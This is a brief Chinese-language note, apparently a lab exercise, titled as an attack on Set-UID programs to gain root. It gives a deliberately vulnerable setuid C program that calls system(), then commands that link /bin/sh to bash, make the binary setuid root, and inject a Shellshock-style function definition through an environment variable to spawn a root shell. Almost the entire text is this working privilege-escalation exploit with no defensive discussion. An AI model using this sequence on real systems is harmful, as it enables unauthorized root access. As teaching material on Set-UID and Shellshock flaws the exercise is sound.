攻击Set-UID获取root权限

#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>

void main()
{
    setuid(geteuid());
    system("/bin/ls -l");
}

sudo ln -sf /bin/bash /bin/sh
gcc vul.c -o vul
./vul
sudo chown root vul
sudo chmod 4755 vul
./vul
export foo='() { echo hello; }; /bin/sh'
./vul

就得到root权限的shell：